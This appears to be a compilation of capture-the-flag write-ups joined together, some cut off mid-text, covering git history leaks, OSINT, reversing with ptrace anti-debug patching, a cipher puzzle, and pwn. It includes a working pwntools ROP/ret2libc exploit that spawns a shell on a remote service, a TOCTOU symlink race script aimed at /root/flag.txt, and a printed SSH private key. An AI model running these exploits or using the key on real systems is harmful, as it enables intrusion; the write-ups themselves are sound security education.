Checked current working directory:
Since it is Ubuntu 16.04, thought I would take a quick look at the .bashrc and .profile configuration files:```wolfie@9ad161dbc9ce:~$ cat .bashrc .profile# ~/.bashrc: executed by bash(1) for non-login shells.# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)# for examples
# If not running interactively, don't do anythingcase $- in *i*) ;; *) return;;esac
# don't put duplicate lines or lines starting with space in the history.# See bash(1) for more optionsHISTCONTROL=ignoreboth
(...)```
Didn't find any interesting configuration, just the default, but the `HISTCONTROL` parameter in `.bashrc` made me think that maybe we can find something interestingusing the `history` command:
Turns out that `/home/wolfie/imp/flag.txt` contains the flag:
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[Original Writeup](https://github.com/NickWingate/Writeups/blob/master/HACON_CTF/Web/EAsyWEb.md)(https://github.com/NickWingate/Writeups/blob/master/HACON_CTF/Web/EAsyWEb.md) |
After cloning the repository from the task description, we got a folder with a README file, but nothing intereseting there. Running `git log` reveals three commits, one of which is named `oops`.```commit c21dbf5185a4dbdb5b2bd2f3d1d3b266c3a2271e (HEAD -> master, origin/master, origin/HEAD)Author: Matías A. Ré Medina <[email protected]>Date: Fri Sep 11 13:03:19 2020 -0400
oops
commit fd5c9927bb9f5ee3e4c521def43d3033ae83b825Author: Matías A. Ré Medina <[email protected]>Date: Fri Sep 11 13:02:59 2020 -0400
update
commit 8410559b915a311e1a66b2ef77b8f913c1bf9f2bAuthor: Matías A. Ré Medina <[email protected]>Date: Fri Sep 11 13:02:08 2020 -0400
ekolabs```
So lets see what changed with this commit. Run `git log -p` too see commits with changed files.```commit c21dbf5185a4dbdb5b2bd2f3d1d3b266c3a2271e (HEAD -> master, origin/master, origin/HEAD)Author: Matías A. Ré Medina <[email protected]>Date: Fri Sep 11 13:03:19 2020 -0400
oops
diff --git a/.ssh/id_rsa b/.ssh/id_rsadeleted file mode 100644index e96835e..0000000--- a/.ssh/id_rsa+++ /dev/null@@ -1,38 +0,0 @@------BEGIN OPENSSH PRIVATE KEY------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------END OPENSSH PRIVATE KEY-----diff --git a/.ssh/id_rsa.pub b/.ssh/id_rsa.pubdeleted file mode 100644index 3cf8765..0000000--- a/.ssh/id_rsa.pub+++ /dev/null@@ -1 +0,0 @@-ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRKS8bh5B2ctUxrS0JsrlYmw/pJPOr7N3BRtdrdswXu7AnoxohsNX7D6gPt5oHb3Map2XMSqj3ukDrBWgL/qfiCfU4g5Fc1J4QkedDTiDq2+YeanaLgKyPqrvrg+lZwOIhfNXSliaxKI+YqgEy+n8s4ZhPGQYbpPjxDW/2ubn7iz60G+Px7q6BVvmRZlHe2IWylmG1WagL3pHFsJ83UyfgyFdvPqYoDkjVK+/+E4IGXaKXwHst2sVC+6DEU1YF3jJXFqeunY+Q3/dgxWXIbF7qpYGGJusEziHzjPX7Kwk4t1aW+afbREt7aDchx7KM/hDP/CBOYntwVA5qOG9L2rr6hbTTVMIqQxn2WAXtcBgc4Od4kMNAQt/8cvFsciApJ6RS++FPIwx8gJJCe/OZYdRl19/Fv+j9xi7dIiET4SqCUPz3nionKvMjvPvrd/42P9xw+niY+3gJEtIZjMb66Let+GuUew68bjz2DRlJSOtSNzP/MspNtUa5bY/4bmUMAHc= ekoparty-deploy@RUtPezc0NGFkN2ZlOGU2Y2U1ZTg4NWFkMjRlZWYyNDNiMWZkMTFkMGZiN2V9```
In this commit, we can find Public SSH Key (Also other files non-relevant for this task), but the hostname seems suspiciously like a `base64` encoded string, right?.```ekoparty-deploy@RUtPezc0NGFkN2ZlOGU2Y2U1ZTg4NWFkMjRlZWYyNDNiMWZkMTFkMGZiN2V9```
Lets decode it```echo "RUtPezc0NGFkN2ZlOGU2Y2U1ZTg4NWFkMjRlZWYyNDNiMWZkMTFkMGZiN2V9" | base64 -d EKO{744ad7fe8e6ce5e885ad24eef243b1fd11d0fb7e}```
Flag: EKO{744ad7fe8e6ce5e885ad24eef243b1fd11d0fb7e} |
## Briefing:
```0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere. Hint: The front page of internet```
First off, running `python3 sherlock 0xDarkArmy` gives us hits on reddit, instagram and twitter, among others.
While nothing interesting was found on the twitter or instagram, there was a qr code posted on the reddit page, seen [here](https://www.reddit.com/user/0xDarkArmy/)
Scanning the qr code, we are directed to a `.onion` site, openable in tor. see [here](http://cwpi3mxjk7toz7i4.onion/)
At a first look it seems like a static template page. However navigating to `/robots.txt` we get half of the flag: `darkctf{S0c1a1_D04k_`
Opening up developer tools and going to the 'networks' tab, we can see that in the get request to the page, there is a custom HTTP header `Flag: ` under Date. This contains the second half of the flag: `_w3b_051n7}`
### Flag: ```darkctf{S0c1a1_D04k_w3b_051n7}```
|
# Mindgames 1
*Do you want to play a game of the minds? I am sure you can never win this game! MUAHAHAHA....*
`nc pwn.institute 41336`
Note: Mindgames 1336, Mindgames 1337 and Mindgames 1338 are created from the same source. Only the protections are different. So you might want to start with this one for an easier challenge.
### This challenge was done with [`pwnscripts`](https://github.com/152334H/pwnscripts). Try it!
## Binary AnalysisWe start off from the usual:```python$ checksec mindgames_1336 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```Well, that's great! All we gotta do now is to decompile the binary.
> mindgames_1336: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, dynamically linked, interpreter \004, **stripped**
...which is perhaps a little bit tedious.
Each of the `mindgames` involves relatively simple exploits; the trick is in figuring out precisely *where* the exploit is. Here's a quick rundown of what exactly the binary does:
```cvoid main() { signal(14, handler); alarm(14); // Timeout creation setvbuf(...); // I/O debuffering main_last();}```We start at `main()`, where some of the usual stuff happens. Every function from here-on-out (e.g. `main_last()`) will be self-assigned names.```cvoid main_last() { int v = 0; // [rsp+4h] [rbp-Ch] srand_init(); printf("\nWe should play a game of the mind!\n> "); while (1) { printf("What do you want to do?\n 1) Show Highscore\n 2) Play the game\n 3) Exit\n> "); scanf("%d", &v); if (v == 1) show_highscore(); else if (v == 2) play(); else exit(0); }}```In this function, we first get an `init()` function before we move on to the menu loop that you can see when you run the binary.
`srand_init()` does a few important things:```cchar overflow[0x20];int highscore;// 4 bytes padding herechar *selected_name;char *NAMEARRAY[5] = {...}; // constants omitted for brevity
srand_init() { time_t timer; // [rsp+0h] [rbp-40h] struct tm *tp; // [rsp+8h] [rbp-38h] char s[0x28]; // [rsp+10h] [rbp-30h]
time(&timer;; tp = localtime(&timer;; strftime(s, 0x1A, "%Y-%m-%d %H:%M:%S", tp); printf("Hello there! It's %s and the weather looks pretty nice!\n\n", s); srand(timer); long long eax = rand(); selected_name = NAMEARRAY[eax%6]; highscore = rand() % 32 + 1;}```There's a lot of dumb code in there to read, so we can sum it up:1. `srand()` seed is leaked as a printed date. Grab it using pwntools and datetime.2. `rand()` is called twice. If you didn't know, the values from C's `rand()`, given the `srand()` seed, can be easily predicted in python via the ctypes library: ```python from ctypes import CDLL C = CDLL('libc.so.6') C.srand(...) print("The first random value is: %d" % C.rand()) highscore = C.rand() ``` The second value of rand (`highscore`) is something you will need for later.With that out of the way, we can focus on the main loop. There are two functions: `show_highscore()` and `play()`. The former is very simple:```cint show_highscore() { return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);}```This function is important as a leaking mechanism in later challenges, but for now it can be ignored.
`play()` is a little more complex:```cunsigned long long play() { int inputv = 0, randv = 0; unsigned int wins = 0; printf("Can you guess my numbers?\n> "); while (1) { randv = rand(); scanf("%d", &inputv); if (randv != inputv) break; printf("You were lucky this time!\n>"); ++wins; } puts("Game over!"); if (wins >= highscore) { puts("New Highscore! Amazing!"); highscore = wins; set_new_highscore(); }}```If you remember the small code block about `rand()` in python from earlier, in `play()`, we need to abuse `C.rand()` `highscore` times if we want to trigger the `set_new_highscore()` function. Considering that there is no other function we have not looked at yet, at this point, it's somewhat obvious that we should set-up a way to enter `set_new_highscore()`.
## Exploit begins```pythonfrom re import findallfrom datetime import datetimefrom ctypes import CDLLfrom pwnscripts import *
p = remote('pwn.institute', 41336)strdate = findall(b"[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}", p.recvline())[0].decode()epoch = datetime.strptime(strdate+'-+0000',"%Y-%m-%d %H:%M:%S-%z").timestamp()C = CDLL('libc.so.6')C.srand(int(epoch))randv = C.rand()highscore = C.rand()%32 + 1
p.sendlineafter('> ', str(2))for i in range(highscore): p.sendlineafter('>' if i else '> ', str(C.rand()))p.sendlineafter('>', '0')p.recvuntil('Amazing!\n')```At the last line of this code, we know that `"New highscore! Amazing!"` has been printed. We're inside `set_new_highscore()`:```cset_new_highscore() { ssize_t n; // ST08_8 char buf[0x110]; // [rsp+10h] [rbp-110h]
printf("Give me your name: "); selected_name = &overflow; n = read(0, buf, 0x400); memcpy(&overflow, buf, n);}```There is an *incredibly obvious* buffer overflow here: `read(0x400)` clearly exceeds the limit (of 0x110) for `buf[]`.
The exploitation of this is rather simple:1. Leak two GOT funcs by ROP'ing to `puts()`. This is only possible for `mindgame_1336`, where PIE is disabled.2. Resolve the remote libc id, and calculate import addresses (`system`, `"/bin/sh"`)3. Call `set_new_highscore()` again, and ret2libc `system("/bin/sh")`
The implementation of this is rather simple with `pwnscripts`:```pythoncontext.binary = 'mindgames_1336'# Need to label the addresses here, because the binary is strippedcontext.binary.symbols = {'set_new_highscore': 0x401336, 'puts': 0x401040}context.binary.got = {'printf':0x404028, 'alarm':0x404030}GOT_funcs = ['printf', 'alarm']context.libc_database = 'libc-database'
def rop(b): r = ROP(b) r.raw(0x118*'a') return rr = rop(context.binary)for f in GOT_funcs: r.puts(context.binary.got[f])r.set_new_highscore()p.sendlineafter('name: ', r.chain())libc_leaks = dict((f,extract_first_bytes(p.recvline(),6)) for f in GOT_funcs)context.libc = context.libc_database.libc_find(libc_leaks)
r = rop(context.libc)r.system(context.libc.symbols['str_bin_sh'])p.sendlineafter('name: ', r.chain())p.interactive()```That's it.```bash[*] Loaded 14 cached gadgets for 'mindgames_1336'[*] found libc! id: libc6_2.28-10_amd64[*] Switching to interactive mode$ lsflagmindgames$ cat flagBCTF{I_guess_time_was_0n_y0ur_side_this_time}``` |
# Mc Queen (15 solves) 489 points #
This was a linux task in DarkCTF, it was a great task and had too much fun solving it!
We have ssh credentials like always and every user has a separate container ( I was so glad to see that my solution to enable separate environments has really been beneficial for the community),however connecting to the server we find a note telling us that enumeration is the key so i started doing some basic stuffs and searched if there are any SUID binaries by running the following command :
```shfind / -perm -u=s -type f 2>/dev/null```
Bingo we find the following SUID binary : ``` /usr/bin/win_or_lose ```
My next step was to extract this binary in order to reverse it, i used the following steps:
* Encoded the binary in base32: ``` base32 /usr/bin/win_or_lose ```* Copied the result and decoded it locally ``` cat base32_res|tr -d "\n"|base32 -d > bin ```
Now after statically analyzing the binary with Ghidra , we can deduct the following:
The binary is used to read the content of a file we specify in the arguments, but it checks firstly the owner of the file and if it's root it exits and never show its content.
I tried to use a symlink that points to the flag.txt file but in vain, stat function always check the properties of the real file and follow symlinks. I got stuck here for some time trying to figure out how we can bypass this check and after a little bit of concentrationI observed that the binary is checking for the owner before actually opening the file, so if we give it first a big file it will take a non negligeable time to check its owner and then in this short amount of time we can replacethat big file with a symlink to the flag! I think you guessed it , it's time for TOCTU (time of check - time of use) exploitation , let's try to win the race.
I wrote the following script to exploit this weakness:
```sh#!/bin/bashperl -e 'print "a"x20x1000x1000' >bigfilechmod 777 bigfile/usr/bin/win_or_lose bigfile &ln -sf /root/flag.txt bigfile```I wrote it in the server using some cat tricks:
```shcat >exp.sh < |
# not_malware Writeup
For more writeups and content follow us on Twitter -- @RagnarSecurity
This challenge was in the category Reverse Engineering for 150 points. This was one of the better challenges worth writing about for CSAW 2020.
To start lets see what happens when we run the binary:
```WittsEnd2@DESKTOP-1N65HDS:[~/csaw/rev/not_malware]$ ./not_malwareWhat's your credit card number (for safekeeping) ?>> aaaaaaaaaaaaaaaaaaaaaaa```
It asks for a credit card number, and then exits (or it seems). Lets open this up in Ghidra and see what is actually going on.
```cundefined8 FUN_001012bc(void)
{ int iVar1; size_t sVar2; undefined8 uVar3; double dVar4; char local_b6 [10]; undefined4 local_ac; char local_a8 [32]; char local_88 [4]; char local_84; char local_83; char local_82; char local_81; char local_80; char local_7f; char local_7e; char local_7d; char local_7c; char local_7b; char local_7a; char local_79; char local_78; char local_77; char local_76; char local_75; char local_68 [8]; char local_60; char local_5f; char local_5e; char local_5d; char local_5c; char acStack91 [20]; char local_47; char acStack70 [30]; char local_28 [8]; int local_20; int local_1c; int local_18; int local_14; uint local_10; int local_c; FUN_001012a6(); printf("What\'s your credit card number (for safekeeping) ?\n>> "); fgets(local_68,0x3c,stdin); sVar2 = strlen(local_68); if (0x3c < sVar2) { puts("Well this was unnecessary."); /* WARNING: Subroutine does not return */ exit(1); } local_18 = 0x10; dVar4 = pow(16.00000000,0.50000000); local_18 = (int)(dVar4 - 1.00000000); local_c = 0; while (local_c < 8) { local_28[local_c] = local_68[local_c]; local_c = local_c + 1; } local_28[local_c] = '\0'; iVar1 = strncmp(local_28,"yeetbank" + (long)local_18 * 9,8); if (iVar1 != 0) { /* WARNING: Subroutine does not return */ exit(1); } if (local_60 != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_10 = (int)local_5f - 0x30; local_1c = (int)local_5e + -0x30; local_20 = (int)local_5d + -0x30; if (local_5c != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_14 = 0; while (local_14 < 0x14) { uVar3 = FUN_00101288((ulong)local_10); snprintf(local_b6,10,"%ld",uVar3); local_88[local_14] = local_b6[local_20]; local_10 = local_10 + local_1c; local_14 = local_14 + 1; } local_c = 0; while (local_c < 0x14) { local_a8[local_c] = local_68[local_c + 0xd]; local_c = local_c + 1; } if (local_a8[0] != local_88[0]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[16] != local_78) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[11] != local_7d) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[3] != local_88[3]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[7] != local_81) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[15] != local_79) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[1] != local_88[1]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[12] != local_7c) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[19] != local_75) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[13] != local_7b) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[14] != local_7a) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[5] != local_83) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[9] != local_7f) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[8] != local_80) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[18] != local_76) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[6] != local_82) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[17] != local_77) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[2] != local_88[2]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[10] != local_7e) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[4] != local_84) { /* WARNING: Subroutine does not return */ exit(1); } if (local_47 != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_c = 0; local_ac = 0x646e65; while( true ) { if (2 < local_c) { puts("Thanks!"); FUN_00101229(); return 0; } if (*(char *)((long)&local_ac + (long)local_c) != local_68[local_c + 0x22]) break; local_c = local_c + 1; } /* WARNING: Subroutine does not return */ exit(1);}```
It looks like it executes some function before asking for our credit card number, then it performs logic to determine a credit card number, and then it prints a flag if a valid credit card. Lets break thsi down further.
Lets look at these lines of code:
```C while (local_c < 8) { local_28[local_c] = local_68[local_c]; local_c = local_c + 1; } local_28[local_c] = '\0'; iVar1 = strncmp(local_28,"yeetbank" + (long)local_18 * 9,8); if (iVar1 != 0) { /* WARNING: Subroutine does not return */ exit(1); }``````asm LAB_00101379 XREF[1]: 00101394(j) 00101379 8b 45 fc MOV EAX,dword ptr [RBP + local_c] 0010137c 48 98 CDQE 0010137e 0f b6 54 MOVZX EDX,byte ptr [RBP + RAX*0x1 + -0x60] 05 a0 00101383 8b 45 fc MOV EAX,dword ptr [RBP + local_c] 00101386 48 98 CDQE 00101388 88 54 05 e0 MOV byte ptr [RBP + RAX*0x1 + -0x20],DL 0010138c 83 45 fc 01 ADD dword ptr [RBP + local_c],0x1 LAB_00101390 XREF[1]: 00101377(j) 00101390 83 7d fc 07 CMP dword ptr [RBP + local_c],0x7 00101394 7e e3 JLE LAB_00101379 00101396 8b 45 fc MOV EAX,dword ptr [RBP + local_c] 00101399 48 98 CDQE 0010139b c6 44 05 MOV byte ptr [RBP + RAX*0x1 + -0x20],0x0 e0 00 001013a0 8b 45 f0 MOV EAX,dword ptr [RBP + local_18] 001013a3 48 63 d0 MOVSXD RDX,EAX 001013a6 48 89 d0 MOV RAX,RDX 001013a9 48 c1 e0 03 SHL RAX,0x3 001013ad 48 01 c2 ADD RDX,RAX 001013b0 48 8d 05 LEA RAX,[s_yeetbank_00102020] = "yeetbank" 69 0c 00 00 001013b7 48 8d 0c 02 LEA RCX,[RDX + RAX*0x1] 001013bb 48 8d 45 e0 LEA RAX=>local_28,[RBP + -0x20] 001013bf ba 08 00 MOV EDX,0x8 00 00 001013c4 48 89 ce MOV RSI,RCX 001013c7 48 89 c7 MOV RDI,RAX 001013ca e8 71 fc CALL strncmp int strncmp(char * __s1, char * ff ff 001013cf 85 c0 TEST EAX,EAX 001013d1 74 0a JZ LAB_001013dd 001013d3 bf 01 00 MOV EDI,0x1 00 00 001013d8 e8 33 fd CALL exit void exit(int __status) ff ff -- Flow Override: CALL_RETURN (CALL_TERMINATOR)```
The first thing that it checks is the first eight characters is equal to `iVar1 = strncmp(local_28,"yeetbank" + (long)local_18 * 9,8);` What the heck does this mean? My first instinct was to use GDB to figure this out. I set a breakpoint at the address where main begins; however, I get this output from GDB.
```[Inferior 1 (process 387) exited with code 01]```
Huh? Why am I getting an error? How do I defeat this? If we remember from earlier there was this random function being called `FUN_001012a6();`. Lets see what it actually does.
```Cvoid FUN_001012a6(void)
{ FUN_00101782(); FUN_0010186e(); FUN_001018b4(); return;}```
Huh, it calls three other functions. I quickly skimmed the functions and saw something that caught my eye:
```Cvoid FUN_001018b4(void)
{ long lVar1; lVar1 = ptrace(PTRACE_TRACEME,0,1,0); if (lVar1 == -1) { /* WARNING: Subroutine does not return */ exit(1); } return;}```
This is a common trick in RE. This is an anti-debugging technique using ptrace. Essentially, GDB uses ptrace (the tracer) in order to perform its breaking and stepping operations; however, this function detects whether another program is trying to trace the current program. If it is, it exits. I highly recommend reading `Programming Linux Anti-Reversing Techniques` by `Jacob Baines` to learn more.
We can remove this function by patching it out. What I did was I patched `FUN_001012a6();`
For this, you need to open a copy of `not_malware in raw binary mode`, go to the address in the assembly where the function is being called, and patch out (by right clicking) all the bytes related to the function call to `NOP (0x90)`.
After patching all of the bytes, you want to click on `file->export` and export it as a binary file. Now you have a patched binary and you can use GDB!
Now that we have GDB, we can set a breakpoint at main and figure out what it is doing! I first got the address of main by setting a break point at `printf`, and annoyingly step through instructions until I returned to the main function (my address in GDB was not exactly the same as in Ghidra). Once I did this, I set a break point at the string comparison to determine the actual values being compared. I saw that it was comparing my input to the value `softbank`. Thus; I know the first 8 characters are should be `softbank`.
From here, it got slightly tricky. After `softbank`, the required values are `:???:????????????????????:???` where `? = ascii character`. Lets break this down:
```C local_10 = (int)local_5f - 0x30; //:??X:????????????????????:??? local_1c = (int)local_5e + -0x30; //:?X?:????????????????????:??? local_20 = (int)local_5d + -0x30; //:X??:????????????????????:??? if (local_5c != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_14 = 0; while (local_14 < 0x14) { uVar3 = FUN_00101288((ulong)local_10); snprintf(local_b6,10,"%ld",uVar3); local_88[local_14] = local_b6[local_20]; local_10 = local_10 + local_1c; local_14 = local_14 + 1; } local_c = 0; while (local_c < 0x14) { local_a8[local_c] = local_68[local_c + 0xd]; local_c = local_c + 1; }```
It looks like the third unknown character (`local_10`) sets the value for `FUN_00101288`. Lets see what this does:
```Clong FUN_00101288(uint param_1)
{ int iVar1; srand(param_1); iVar1 = rand(); return (long)iVar1;}```
`local_10` sets the seed for rand() and returns the value of `rand()`. As a result, it determined the value of the next 14 unknown characters (which were numbers).
After doing some debugging, we determined that we should use 008. This will set the srand such than it will return 1. without changing the seed again (which is what the value of local_1c does).
Therefore, our result so far was `softbank:008:11111111111111111111:???`.
Last was to determine the last three character.```C local_c = 0; local_ac = 0x646e65; while( true ) { if (2 < local_c) { puts("Thanks!"); FUN_00101229(); return 0; } if (*(char *)((long)&local_ac + (long)local_c) != local_68[local_c + 0x22]) break; local_c = local_c + 1; }```
Essentially, what this was doing was comparing the last three characters to the ascii value of 0x646e65 (note: it was reading local_ac in little endian). As a result, our final result was this: `softbank:008:11111111111111111111:end`, and we got the flag! flag{th4x_f0r_ur_cr3d1t_c4rd} |
# OSINT/Find cellfrom MrHappy,e11i0t
I lost my phone while I was travelling back to home, I was able to get back my eNB ID, MCC and MNC could you help me catch the tower it was last found.note: decimal value upto 1 digitFlag Format : darkCTF{latitude,longitude}
given file: challenge.txt
File content ```310 410 81907``` |
# Slang back
We are given the following text file:
=> slang-back.txt```}ejnsergazaku_ejnevazakilu_ejndejazanu_ejnibazou_ib_ejnizaztovu_ejnumazekizu_zeb{ejnbazftcu```
We notice it is the flag(sort of) something{phrase} in reverse. So we reverse it:
```uctfzabnje{bez_uzikezamunje_uvotzazinje_bi_uozabinje_unazajednje_ulikazavenje_ukazagresnje}```
There is a type of slang in Serbia(BalCCon is held in Novi Sad each year) called utrovački where you take the word of sufficien length and put the last syllable abd put it at the front then add in **u**, **za** and **nje** at the beginning, after the first syllable and at the end respectively. For example:
```Using the word life in Serbian as an example:životSyllables are:ži + votAfter 1st step:vot + žiAfter 2nd step:u + vot + za + ži + njeSo we get:uvotzažinje```
So we take our reversed text and remove the u, za, nje from each word(NOTE: One syllable words stay the same). We get:
```ctfb{bez_zikemu_votzi_bi_obi_najed_likave_kagres}```
Then we put back the now first syllable back to the end of the word. Same for the **ctfb** and uppercase it, since the CTF falg format is BCTF{flag}:
```BCTF{bez_muzike_zivot_bi_bio_jedna_velika_greska}```
The flag thanslates to: *Without music life would be one big mistake*. :) |
# Name Tag (Pwn, 500 points, 1 solve)
> Welcome to Bsides Boston!!! We forgot to print name tags, can you fill one out?> Note: Libc is NOT needed to solve this challenge.
First we do some static analysis on the binary to figure out what kind it is,the protections it has, and a general understanding of the program.
```sh
$ pwn checksec name_tag[*] '/home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)$ file name_tagname_tag: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=da6ef25bae2ec5b2272517164cc5ac45d43c7f59, for GNU/Linux 3.2.0, not stripped```
So we have a 64-bit binary with Parial RELRO, stack canaries, a non-executablestack (NX), and is not a position independent executable (PIE). In practice thismeans:- Any overflow we would to do will also need to bypass the canary- Return-oriented programming (ROP) will probably be required because of NX- The executable and GOT is always in the same spot so we can use static addresses for locations of functions and gadgets.- It could be a heap related exploit since we don't need to overflow canary for that.
Decompiling the binary with Ghidra and looking at the main function gives us thefollowing pseudocode, variables named by me for clarity when parsing it.
```cundefined8 main(void){ char *bio; long in_FS_OFFSET; char last_name [32]; char first_name [40]; long cookie; cookie = *(long *)(in_FS_OFFSET + 0x28); setup(); memset(last_name,0,0x20); memset(first_name,0,0x20); puts("\nWelcome to Bsides Boston!!!!!!!!\n"); puts("In order for your name tag to be created you need to fill out some information."); printf("Can you please tell us your first name? "); readStr(first_name,64); printf("\nWelcome %s\n",first_name); puts("Can you please tell us a little about yourself?"); printf("Bio: "); bio = (char *)malloc(512); readStr(bio,512); printf("Great!!!! Here\'s your name tag id: %d\n",bio); printf( "\nOh I almost forgot. Can you tell us your last name to finish up the name tag creationprocess? " ); readStr(last_name,112); printTag(first_name,last_name,bio,0x20); if (cookie != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}```
So the program asks us for some user input (name, bio, last_name) and thenprints out some information related to it.
The first thing we notice is that there are 3 reads for our user input, wheretwo of them allow us to write outside of the allocated buffer. This is possiblewith both the `first_name` and `last_name` reads.
We also see that the heap is used via the `malloc` call for the bio, but weallocate and read in 512 bytes, so there isn't an overflow in the heap here.It's also never `free`'d or used as a function pointer, so we can eliminateheap exploits from out possible exploits.
